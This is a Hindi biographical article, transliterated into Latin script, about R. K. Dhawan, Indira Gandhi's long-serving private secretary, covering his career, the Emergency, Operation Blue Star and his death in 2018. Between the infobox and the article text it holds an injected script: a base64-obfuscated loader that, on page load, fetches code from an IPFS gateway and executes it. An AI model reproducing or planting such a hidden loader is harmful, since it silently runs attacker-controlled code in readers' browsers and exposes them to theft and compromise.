आर. के. धवन
ar. ke. dhavan
| |
| poora nam | rajendr kumar dhavan |
| janm | 16 julaee, 1937 |
| janm bhoomi | chinnot, pakistan |
| mrityu | 6 agast, 2018 |
| mrityu sthan | nee dilli, bharat |
| pati/patni | achala |
| nagarikata | bharatiy |
| prasiddhi | niji sachiv (iandira gaandhi, poorv pradhanamantri, bharat) |
| parti | bharatiy rashtriy kaangres |
| vidyalay | karnal braun kaianbrij skool, deharadoon aur banaras hindoo vishvavidyalay |
| sanbandhit lekh | iandira gaandhi, apat kal, bharatiy rashtriy kaangres |
| any janakari | ar. ke. dhavan ka pad to bhootapoorv pradhanamantri iandira gaandhi ke niji sachiv ka tha, lekin qad kisi bhi kaibinet ministar ya chiph ministar se b da tha. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>rajendr kumar dhavan (aangrezi: Rajinder Kumar Dhawan, janm- 16 julaee, 1937; mrityu- 6 agast, 2018) bharatiy rajanitijn the, jo bharatiy rashtriy kaangres ke neta aur rajy sabha saansad the. vah bharat ki bhootapoorv pradhanamantri rahian iandira gaandhi ke niji sachiv rahe. ar. ke. dhavan iandira gaandhi ki hatya ke pratyakshadarshi rahe the. unhoanne 1962 se 1984 tak iandira gaandhi ke sath kam kiya. unake bare mean kaha jata hai ki iandira yug mean unaki sthiti desh ke doosare ya tisare nanbar ke takatavar shakhsiyat ke roop mean hoti thi. kaangres ke siddhaantoan ke prati ar. ke. dhavan ko unaki nishtha, pratibaddhata aur samarpan ke lie hamesha yad kiya jaega.
parichay
ar. ke. dhavan ka janm 16 julaee, 1937 ko chinnot mean, jo ki ab pakistan ka ek bhag hai, mean hua tha. vibhajan ke bad unaka parivar bharat akar bas gaya tha. unhoanne karnal braun kaianbrij skool, deharadoon aur banaras hindoo vishvavidyalay se shiksha prapt ki thi. kaangres varishth neta rahe ar. ke. dhavan ne ek taipist ke taur par apane kॅriyar ki shuruat ki. lekin pratibha aur samajh ki vajah se rajaniti mean khas mukam banaya. vah do dashakoan se bhi adhik samay tak poorv pradhanamantri iandira gaandhi ke sabase vishvast sahayogi rahe. vah 1962 mean niji sahayak ke roop mean iandira gaandhi ke sanpark mean ae. isake bad unaka sath iandira ki hatya ke bad hi chhoota.
ar. ke. dhavan ne 1984 mean tak iandira ji ke niji sachiv ke taur par kam kiya. jab iandira gaandhi ne aantarik ashaanti ke maddenajar 1975 mean desh mean apat kal lagaya, tab bhi ar. ke. dhavan unake sabase karibi netaoan mean the, jinhean sarakar ki har gatividhi ki janakari hoti thi. jab iandira gaandhi ki hatya huee, us samay bhi dhavan ghatanasthal par hi maujood the. lekin iandira ki hatya ke bad ar. ke. dhavan lagabhag sarvajanik jivan se alag ho ge. varsh 1989 mean tatkalin pradhanamantri rajiv gaandhi ar. ke. dhavan ko dobara sarvajanik jivan mean lekar ae. 1990 mean unhean rajy sabha sadasy banaya gaya. rajiv gaandhi ki hatya ke kee varshoan bad jab soniya gaandhi ne kaman sanbhali, to unhoanne bhi ar. ke. dhavan ko parti mean aham sthan diya.[1]
ooancha qad
iandira gaandhi ke jamane mean jab ar. ke. dhavan phon lain par ate the to doosari taraph takatavar mukhyamantri hoan ya koee kshatrap, sabaka sanbodhan 'yas sar' ka hi hota tha. tab ar. ke. dhavan ka pad to tatkalin piem iandira gaandhi ke niji sachiv ka tha, lekin qad kisi bhi kaibinet ministar ya chiph ministar se b da tha.
vivah
ar. ke. dhavan ko apane vivah ki vajah se bhi jana jata hai. darasal unhoanne 74 sal ki umr mean 59 sal ki achala se 16 julaee, 2012 ko vivah kiya tha.
iandira gaandhi ke qaribi
iandira gaandhi ke jivan mean ar. ke. dhavan ka mahatv 'aaupareshan bloo star' ke samay ke ek ghatanakram se bhi samajha ja sakata hai. iandira ji ke netritv ke samay ki ek charchit ghatana thi- 'aaupareshan bloo star'. iandira ji ne alagavavadi khalistani aandolan ko takat se kuchal diya tha, par aaupareshan bloo star ke saphal hone par unaki pahali pratikriya kya thi, isaka pata ar. ke. dhavan ke madhyam se hi desh ko chala. 6 joon, 1984 ko subah 6 baje tatkalin raksha rajyamantri ke. pi. sianhadev ne ar. ke. dhavan ko phon kiya tha. sianhadev chahate the ki turant shrimati gaandhi tak aaupareshan kamayab hone ki soochana pahuanch jae. khabar milate hi iandira gaandhi ne kaha- 'he bhagavan, ye kya ho gaya? in logoan ne to mujhe bataya tha ki itani mautean nahian hoangi.'
ar. ke. dhavan iandira gaandhi ke sabase karibi vyakti the. vah unaki har ek sahooliyat ka dhyan rakhate the. iandira ji ki stadi tebal aur yahaan tak ki bag mean unaki chahalakadami ke dauran pe doan par khali nots chipaka dete the. aisa isalie ki kahian achanak iandira ji ko koee mahatvapoorn khyal a jae to vah us par likh sakean.[2]
iandira gaandhi ke sath ane se pahale ar. ke. dhavan ek mamooli si naukari karate the aur unake ek rishtedar unhean iandira gaandhi ke pas lekar ae the. bataya jata hai ki jagah n hote hue bhi iandira ji ne ar. ke. dhavan ko kuchh dinoan ke lie apane sahayak ke taur par rakh liya tha. ek din iandira ji apana chashma khoj rahi thian, tabhi ar. ke. dhavan ne apani daraj se unhean ek naya chashma de diya. poochhane par ar. ke. dhavan ne kaha ki unhoanne iandira ji ke nanbar vale do tin ne chashmean banavakar apane pas rakh lie the, jisase ki kabhi bhi agar unaka chashma kho jae to unhean dikkat n ho. ar. ke. dhavan ki yah samajhadari iandira gaandhi ko itani bha gee ki unhoanne unhean n sirph apana sthaee sahayak banaya balki dhire-dhire un par itana vishvas kiya ki ek daur mean ar. ke. dhavan unaki aankh, nak, kan sab mane jane lage the.[3]
razadar
ar. ke. dhavan vah shakhsiyat the, jinhoanne iandira gaandhi ki maut ke bad bhi unaka sath nibhaya. aksar iandira gaandhi ko apatakal ke lie doshi thaharaya jata hai, lekin ar. ke. dhavan ne iandira ji ki maut ke bad apane jite ji ise nahian mana. tamam tivi aur akhabar iantaravyoo mean ar. ke. dhavan ne yah batane ki koshish ki ki apatakal ki asal skript to pashchim bangal ke tatkalin mukhyamantri siddharth shankar ray ne likhi thi. ar. ke. dhavan ne iandira ji ke sang poori rajadari nibhaee. yah iandira ji ke prati unaki nishtha hi thi ki apatakal ki jaanch ke lie bane 'shah ayog' ke samane bhi unaki jaban nahian l dakh daee. ar. ke. dhavan 1962 se lekar 1984 tak yani iandira gaandhi ki maut tak unake niji sachiv rahe. ar. ke. dhavan ki takat ka aandaja isi bat se lagaya ja sakata hai ki kisi mukhyamantri ka nam phainal hua ho ya kisi ko kaibinet barth mili ho, is tarah ki sari brekiang khabaroan ka pablik domen mean khulasa dhavan hi karate the.[2]
mrityu
poorv kendriy mantri aur iandira gaandhi ke vishvasapatr rahe ar. ke. dhavan ka nee dilli mean 6 agast, 2018 ko nidhan hua. unhean badhati umr sanbandhi pareshaniyoan ke karan julaee 2018 ke akhir mean aspatal mean bharti karaya gaya tha.
kisane kya bola?
- "maian kaangres ke vayovriddh neta ar. ke. dhavan ke nidhan ki khabar sunakar dukhi hooan. meri sanvedanae unake parivar ke sath haian. eeshvar unaki atma ko shaanti dean." - sudhaanshu mittal, bhajapa ke pravakta
- "ar. ke. dhavan ke nidhan ke sath ek kalakhand samapt ho gaya. mujhe unase 1977 mean huee pahali mulakat yad hai. us samay maian 12 sal ka tha. mere pita svargiy d aau. vien tivari iandira gaandhi par kitab ‘12 viliangadan kriseant’ likh rahe the, jahaan par vah mushkil samay mean rahi thian." - manish tivari, kaangres neta
- "ar. ke. dhavan ke nidhan se bahut du:khi hooan. ham unaki parti ko die ullekhaniy yogadan ko yad hamesha yad rakheange. meri sanvedanaean is mushkil samay mean unake parivar ke sath hai." - jyotiradity siandhiya, kaangres neta
- "ar. ke. dhavan ke nidhan se stabdh hooan. halaanki vah bimar the, lekin kabhi ummid nahian ki thi ki aant itana shighr hoga. parti aur sarakar mean vah karibi sahayogi the, vah hamesha yad raheange." - pranab mukharji, poorv rashtrapati, bharat[1]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 iandira gaandhi ke the karibi, taipist se ki thi kariyar ki shuruat (hiandi) livehindustan.com. abhigaman tithi: 11 aprॅl, 2020.
- ↑ 2.0 2.1 vah rajadar jisane iandira gaandhi ki maut ke bad bhi diya unaka sath! (hiandi) navbharattimes.indiatimes.com. abhigaman tithi: 11 aprॅl, 2020.
- ↑ dhavan ke nidhan ke sath iandira yug ke ek adhyay ka patakshep (hiandi) amarujala.com. abhigaman tithi: 11 aprॅl, 2020.
sanbandhit lekh
varnamala kramanusar lekh khoj
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